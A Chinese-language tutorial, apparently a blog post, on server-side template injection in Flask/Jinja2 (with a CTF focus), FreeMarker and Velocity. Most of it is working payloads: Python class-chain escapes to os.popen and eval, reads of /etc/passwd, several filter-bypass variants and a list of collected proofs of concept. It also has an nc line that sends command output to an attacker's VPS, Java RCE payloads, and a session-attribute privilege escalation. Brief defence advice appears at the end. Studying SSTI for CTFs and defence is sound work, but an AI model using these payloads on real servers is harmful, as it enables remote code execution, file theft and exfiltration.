SSTI服务端模板注入

简介

ssti(Server-SIde Template Injection,服务端模板注入),模板引擎支持使用静态模板文件,在运行时HTML页面中的实际值替换为变量/占位符,从而让HTML的开发变得更容易。

ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity freeMarker XMLTemplate Smarty4j 等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

Flask的Jinja2

CTF赛题中以python下的SSTI居多

Flask是一个使用Python编写的轻量级web应用框架,其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。

{% raw %} 基本语法,使用{{}}如下:

1
<h1>Hello, {{user.name}}!</h1>

{% endraw %}

漏洞成因:

两种渲染给前端的代码的形式是,

1.一种当字符串来渲染并且使用了%(request.url),此方法存在漏洞

1
2
3
4
5
6
7
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)

2.另一种规范使用index.html渲染文件。

1
2
3
4
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
   return render_template("index.html",title='Home',user=request.args.get("key"))

{% raw %}

由上两种功能方法,我们发现漏洞代码(第一种方法)使用了render_template_string函数,而如果我们使用第二种render_template函数,将变量传入进去,现在即使我们写成了request,我们可以在url里写自己想要的恶意代码{{}}你将会发现:即使输入参数可控了,但是代码已经并不生效。因为,良好的代码规范,使得模板其实已经固定了,已经被render_template渲染了。你的模板渲染其实已经不可控了。

而第一种漏洞代码的问题出在这里,如下:注意%(request.url),有的程序员因为省事并不会专门写一个html文件,而是直接当字符串来渲染。并且request.url是可控的,这也正是flask在CTF中经常使用的手段,报错404,返回当前错误url,通常CTF的flask如果是ssti,那么八九不离十就是基于这段代码,多的就是一些过滤和一些奇奇怪怪的方法函数。

{% endraw %}

CTF

**内建函数:**当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。

dir()函数用于向我们展示一个对象的属性有哪些,在没有提供对象的时候,将会提供当前环境所导入的所有模块。

https://geoer666-1257264766.cos.ap-beijing.myqcloud.com/img/image-20220120210407271.png

python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

instance.__class__可以获取当前实例的类对象

instance.__class.____bases__可以查看其基类

instance.__class__.mro获取当前类对象的所有继承类’只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到

subclasses() 返回的是这个类的子类的集合。python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象。

比如可以发现在第四十号指向file类,所以就可以从file类中调用open方法

1
2
3
''.__class__.__mro__[-1].__subclasses__()[40]("/home/xps/test/ssti/flag.txt").read()

# 这里成功利用file对象的匿名实例化,并为其传参要读取的文件名,通过调用其读文件函数read就可以对文件进行读取了

{% raw %}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
"""
# __calss__
print("".__class__)
# 返回了<class 'str'>,对于一个空字符串他已经打印了str类型

# __bases__
# 每个类都有一个bases属性,列出其基类如下
print("".__class__.__bases__)	# 打印返回(<class 'object'>,)

# mro
# 我们想要寻找object类的不仅仅只有bases,同样可以使用mro,mro给出了method resolution order,即【解析方法调用的顺序】。如下
>>> print(" ".__class__.__mro__)
(<class 'str'>, <class 'object'>)

# 正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势
# 在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。我们这里只举例最简单的。接下来我们增加代码。接下来我们使用subclasses,subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。
# subclasses()  返回的是这个类的子类的集合
print(" ".__class__.__bases__[0].__subclasses__())

# 需要自己寻找合适的标号来调用接下来我将进一步解释
# 接下来就是我们需要找到合适的类,然后从合适的类中寻找我们需要的方法
# 通过我们在如上这么多类中一个一个查找,找到我们可利用的类,这里举例一种。<class 'os._wrap_close'>,os命令相信你看到就感觉很亲切。我们正是要从这个类中寻找我们可利用的方法,通过大概猜测找到是第119个类,0也对应一个类,所以这里写[118]。
{{" ".__class__.__bases__[0].__subclasses__()[118]}}

# 这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。
{{" ".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__}}

# 此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,很多可利用方法,详情可百度了解下。
{{" ".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}}

# 此时便可以看到命令已经执行。如果是在linux系统下便可以执行其他命令。此时我们已经成功得到权限。
    
"""    

{% endraw %}

执行任意命令的payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls").read()') }}         # poppen的参数就是要执行的命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

读取密码

1
''.__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()

命令执行:

1.os.system()

1
2
用法:os.system(command)
但是用这个无法回显

2.os.popen()

我们可以用这个

用法:os.popen(command[,mode[,bufsize]]) 说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。 popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1),可见它获取返回值的方式和os.system不同。

还需要了解一个魔法函数:globals,该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用

1
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls ").read()' )

3.subprocess

如果os被过滤了可以用subprocess

1
2
3
4
5
6
7
8
9
1.subprocess.check_call()
Python 2.5中新增的函数 执行指定的命令如果执行成功则返回状态码否则抛出异常其功能等价于subprocess.run(, check=True)

2.subprocess.check_output()
Python 2.7中新增的的函数执行指定的命令如果执行状态码为0则返回命令执行结果否则抛出异常

3.subprocess.Popen(command)
说明class subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)
Popen非常强大支持多种参数和模式通过其构造函数可以看到支持很多参数但Popen函数存在缺陷在于它是一个阻塞的方法如果运行cmd命令时产生内容非常多函数就容易阻塞另一点Popen方法也不会打印出cmd的执行信息

__init方法

__init__方法用于将对象实例化,在这个函数下我们可以通过funcglobals(或者__globals)看该模块下有哪些globals函数(注意返回的是字典),而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。

1
2
3
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

无回显处理:

当我们用os命令执行没回显时,可以用nc把回显发到vps上:

vps:

1
nc -lvvp 8888

payload:

1
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls | nc <VPS的IP> <端口号>')

{% raw %}

Bypass

0.拼接

1
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

1.过滤[]等括号

1
2
3
使用gititem绕过。如原poc {{"".class.bases[0]}}

绕过后{{"".class.bases.getitem(0)}}

或者借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参) request变量可以访问所有已发送的参数,因此我们可以request.args.param用来检索新的paramGET参数的值,将其中的request.args改为request.values则利用post的方式进行传参

1
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

2.过滤了subclasses,拼凑法

1
2
3
4
5
原poc
{{"".class.bases[0].subclasses()}}

绕过 
{{"".class.bases[0]['subcla'+'sses'](https://xz.aliyun.com/t/3679)}}

3.过滤class

使用session

poc

1
{{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

1
{{session['__cla'+'ss__'].__mro__[12]}}

或者

1
request['__cl'+'ass__'].__mro__[12]}}

4.timeit姿势

可以学习一下 2017 swpu-ctf的一道沙盒python题,

这里不详说了,博大精深,我只意会一二。

1
2
3
4
5
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import platform
print platform.popen('dir').read()

5.过滤一些函数名如__import__

python的初始模块_builtin__里有很多危险的方法,一条路没了就找找其他的路 我们可以直接用 eval() exec() execfile()等

1
__builtins__.eval()

6.过滤双下划线__

request方法

1
2
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__

globals

1
[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')

收藏的一些poc

1
2
3
4
5
6
7
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )


object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')


{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

可以参考一下P师傅的 https://p0sec.net/index.php/archives/120/

实战

每一个(重)模板引擎都有着自己的语法(点),Payload 的构造需要针对各类模板引擎制定其不同的扫描规则, 所以我们在挖掘之前有必要对网站的web框架进行检查,否则很多时候{{}}并没有用,导致错误判断

实战中要测试重点是看一些url的可控,比如url输入什么就输出什么。 前期收集好网站的开发语言以及框架,防止错误利用{{}}而导致错误判断。 如下图较全的反映了ssti的一些模板渲染引擎及利用:

ssti

{% endraw %}

Java的Freemarker

Freemarker模板语言(FTL)

1.内建函数的利用

2.new函数的利用

new函数可以创建一个继承自freemarker.template.TemplateModel类的实例。

查阅代码发现freemarker.template.utility.Execute#exec可以自行任意代码,因此可以通过new函数实例化一个Execute对象并执行exec()方法造成任意代码执行。

Payload:

1
<#assign value="freemarker.template.utility.Execute"?new()>$(value("calc.exe"))>

freemarker.template.utility包中三个类都可以被用来执行代码:

  • ObjectConstructor
  • JythonRuntime
  • Execute

OFCMS1.1.2版本的注入漏洞就是采用的Freemarker

3.api函数的利用

api函数可以用来访问java api,使用方法为:value?api.someJavaMethod(),相当于value.someJavaMethod()。因此可以利用api函数通过getClassLoader来获取一个类加载器,进而加载恶意类。也可以通过getResource来读取服务器上的资源文件

1
2
3
<#assign classLoader=object?api.class.getClassLoader()>
    $(classLoader.loadClass("Evil.class"))
    

防御:

  • 从2.3.22版本开始,api_builtin_enabled的默认值为false,这意味着api内家函数从此之后不能随意使用;
  • 官方还提供了3个预定义的解析器来限制new函数对类的访问:
  • USRESTRICTED_RESOLVER
  • SAFER_RESOLVER
  • ALLOW_NOTHING_RESOLVER

Java的Velovity模板引擎

在Java中,Velovity使用的较多,简单介绍一下Velovity的基本语法和RCE方法。

在Velovity中,用#来表示Velovity的脚步语句,比如#set,#if,#foreach

1
2
3
4
5
#if($msg.img)
<img src=$msg.imgs border=0>
#else
<img src="a.jpg">
#end

$在Velovity中标识一个对象。根据SpEL表达式注入的知识,我们知道一旦可以调用对象,便有办法来构造命令执行语句:

1
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null).exec()

在使用Velovity模板注入中,如果无法进行名住,我们可以修改Cookie来进行权限升级:

1
$session.setAttribute("IS_ADMIN", "1")

在漏洞不存在回显的时候,并且容器为Tomcat7的时候,可以通过如下方法来构造一个有回显的命令执行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#set($str=$class.inspect("java.lang.String").type
#set($cstr=$class.inspect("java.lang.Character").type

#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")
$ex.waitFor()     
#set($out=$ex.getInputStream())

#foreach(Si in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end     

代码审计的时候,搜索模板引擎的相关关键字即可

漏洞防御

  • 避免用户能够直接控制模板的熟并对其进行过滤
  • 如需要向用户公开模板编辑,则可以选择无逻辑的模板引擎,如Handlebars、Moustache等

参考

ssti注入 - MuRKuo - 博客园 (cnblogs.com)

SSTI(模板注入)基础总结 - 简书 (jianshu.com)

SSTI/沙盒逃逸详细总结 - 安全客,安全资讯平台 (anquanke.com)

0%